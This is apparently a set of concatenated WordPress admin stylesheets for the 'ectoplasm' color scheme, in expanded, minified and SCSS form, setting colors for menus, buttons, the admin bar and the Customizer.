body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #a3b745;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #b6c669, 0 0 2px 1px #a3b745;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #ece6f6;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #a3b745;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #413256;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #ece6f6;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #a3b745;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #a3b745;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #a3b745;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #a3b745;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #b6c669, 0 0 2px 1px #a3b745;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #a3b745;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #a3b745;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #a3b745;
  border-style: solid;
  box-shadow: 0 0 0 1px #a3b745;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #a3b745;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #a3b745;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #a3b745;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #b6c669, 0 0 2px 1px #a3b745;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #a3b745;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23523f6d%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#523f6d}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#a3b745;box-shadow:0 0 0 1px #a3b745}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#a3b745;color:#262a2e;box-shadow:inset 0 2px 5px -3px #a3b745}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#a3b745;border-color:#a3b745}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#829237;color:#829237}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#b6c669;color:#616d29;box-shadow:0 0 0 1px #b6c669}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#a3b745;border-color:#a3b745;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#a9bd4f;border-color:#99ac41;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #a3b745}.wp-core-ui .button-primary:active{background:#93a43e;border-color:#93a43e;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#a3b745;color:#fff;border-color:#727f30;box-shadow:inset 0 2px 5px -3px #000}.wp-core-ui .button-group>.button.active{border-color:#a3b745}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#523f6d}.wp-core-ui .wp-ui-text-primary{color:#523f6d}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#a3b745}.wp-core-ui .wp-ui-text-highlight{color:#a3b745}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d46f15}.wp-core-ui .wp-ui-text-notification{color:#d46f15}.wp-core-ui .wp-ui-text-icon{color:#ece6f6}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #a3b745;color:#a3b745}.wrap .page-title-action:hover{color:#829237;border-color:#829237}.wrap .page-title-action:focus{border-color:#b6c669;color:#616d29;box-shadow:0 0 0 1px #b6c669}.view-switch a.current:before{color:#523f6d}.view-switch a:hover:before{color:#d46f15}#adminmenu,#adminmenuback,#adminmenuwrap{background:#523f6d}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#ece6f6}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#a3b745}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#413256}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#413256}#adminmenu .wp-submenu .wp-submenu-head{color:#cbc5d3}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#cbc5d3}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#a3b745}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#a3b745}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#a3b745}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d46f15}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#413256}#collapse-button{color:#ece6f6}#collapse-button:focus,#collapse-button:hover{color:#a3b745}#wpadminbar{color:#fff;background:#523f6d}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#ece6f6}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#a3b745;background:#413256}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#a3b745}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#a3b745}#wpadminbar .menupop .ab-sub-wrapper{background:#413256}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#64537c}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#cbc5d3}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#ece6f6}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#a3b745}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#a3b745}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#ece6f6}#wpadminbar #adminbarsearch:before{color:#ece6f6}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#634c84}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d46f15}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#bf6413}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#634c84;background-color:#634c84}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#a3b745}#wpadminbar #wp-admin-bar-user-info .username{color:#cbc5d3}.wp-pointer .wp-pointer-content h3{background-color:#a3b745;border-color:#93a43e}.wp-pointer .wp-pointer-content h3:before{color:#a3b745}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#a3b745}.media-item .bar,.media-progress-bar div{background-color:#a3b745}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #a3b745}.attachment.details .check{background-color:#a3b745;box-shadow:0 0 0 1px #fff,0 0 0 2px #a3b745}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #a3b745}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#a3b745}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#a3b745}.theme-filter.current,.theme-section.current{border-bottom-color:#523f6d}body.more-filters-opened .more-filters{color:#fff;background-color:#523f6d}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#a3b745;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#a3b745;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #b6c669,0 0 2px 1px #a3b745}div#wp-responsive-toggle a:before{color:#ece6f6}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#a3b745}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#413256}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#ece6f6}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#a3b745}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#a3b745}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#a3b745}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#a3b745}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #b6c669,0 0 2px 1px #a3b745}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#a3b745;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#a3b745}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#a3b745;border-style:solid;box-shadow:0 0 0 1px #a3b745;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#a3b745}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #b6c669,0 0 2px 1px #a3b745}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#a3b745;color:#0073aa}$scheme-name: "ectoplasm";
$base-color: #523f6d;
$icon-color: #ece6f6;
$highlight-color: #a3b745;
$notification-color: #d46f15;

$form-checked: $base-color;

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23523f6d%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #523f6d;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #a3b745;
  box-shadow: 0 0 0 1px #a3b745;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #a3b745;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #a3b745;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #a3b745;
  border-color: #a3b745;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #829237;
  color: #829237;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #b6c669;
  color: #616d29;
  box-shadow: 0 0 0 1px #b6c669;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #a3b745;
  border-color: #a3b745;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #a9bd4f;
  border-color: #99ac41;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #a3b745;
}
.wp-core-ui .button-primary:active {
  background: #93a43e;
  border-color: #93a43e;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #a3b745;
  color: #fff;
  border-color: #727f30;
  box-shadow: inset 0 2px 5px -3px black;
}
.wp-core-ui .button-group > .button.active {
  border-color: #a3b745;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #523f6d;
}
.wp-core-ui .wp-ui-text-primary {
  color: #523f6d;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #a3b745;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #a3b745;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #d46f15;
}
.wp-core-ui .wp-ui-text-notification {
  color: #d46f15;
}
.wp-core-ui .wp-ui-text-icon {
  color: #ece6f6;
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #a3b745;
  color: #a3b745;
}

.wrap .page-title-action:hover {
  color: #829237;
  border-color: #829237;
}

.wrap .page-title-action:focus {
  border-color: #b6c669;
  color: #616d29;
  box-shadow: 0 0 0 1px #b6c669;
}

.view-switch a.current:before {
  color: #523f6d;
}

.view-switch a:hover:before {
  color: #d46f15;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #523f6d;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #ece6f6;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #a3b745;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
